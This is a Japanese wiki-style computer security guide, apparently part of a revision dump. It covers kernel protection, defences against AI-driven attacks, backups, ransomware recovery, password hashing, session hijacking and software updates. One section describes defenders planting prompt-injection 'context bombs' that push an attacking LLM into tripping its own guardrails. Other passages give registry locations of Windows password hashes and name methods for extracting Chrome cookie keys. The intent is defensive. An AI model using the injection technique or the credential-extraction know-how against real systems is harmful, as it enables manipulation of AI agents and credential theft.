カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>ef7b957seem0n05f93sr4rddbsoblno</sha1>
    </revision>
    <revision>
      <id>305240</id>
      <parentid>305239</parentid>
      <timestamp>2026-11-01T01:21:58Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <comment>/* セッションハイジャックを防ぐ */</comment>
      <origin>305240</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="94643" sha1="su1hee0ewdx1slq2zcaek1v58fp0r1s" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなっていますが、それに代わるものとしてブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行しています。

これには例えばマルウェアでブラウザのセッションファイルを抜き取る、正規サイトに挿入される広告などの Javascript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る（Webサイト側は Cookie の HttpOnly 属性で対策可）、正規サイトに挿入される広告などの外部参照{{efn|ページ埋め込み (iframe)、画像埋め込み (img)など。}}から Cookie を抜き取る（Webサイト側は Cookie の SameSite 属性で対策可）などの方法が考えられます。

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

しかしながらアプリケーション バウンド暗号化では鍵抽出 (Local Stateファイルのapp_bound_encrypted_keyからElevation Serviceでdecrypt)&lt;ref&gt;[https://www.fortinet.com/jp/blog/threat-research/svg-phishing-hits-ukraine-with-amatera-stealer-pureminer SVGフィッシングでウクライナを攻撃：Amatera StealerとPureMiner利用] Fortinet 2025年10月17日&lt;/ref&gt;、パディングオラクル攻撃を基にした C4 (Chrome Cookie Cipher Cracker) 攻撃&lt;ref&gt;[https://www.security-next.com/172016 ブラウザ「Chrome」の「Cookie暗号化保護」を破壊する「C4攻撃」] NEWSGAIA 2025年7月4日&lt;/ref&gt;、暗号化鍵の鍵置換 (key substitution) 攻撃&lt;ref&gt;[https://issues.chromium.org/issues/513204839 Potential App-Bound Encryption bypass via PROTECTION_NONE key substitution in Local State] Google&lt;/ref&gt;などによって暗号化前のデータを抜き出すことが行われています。

またそもそもアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled を false にすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、まずはこれが無効になってないかを確認しておきましょう。

なお2026年にはセッションハイジャックを難しくする Device Bound Session Credentials という技術も使われるようになっています。

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
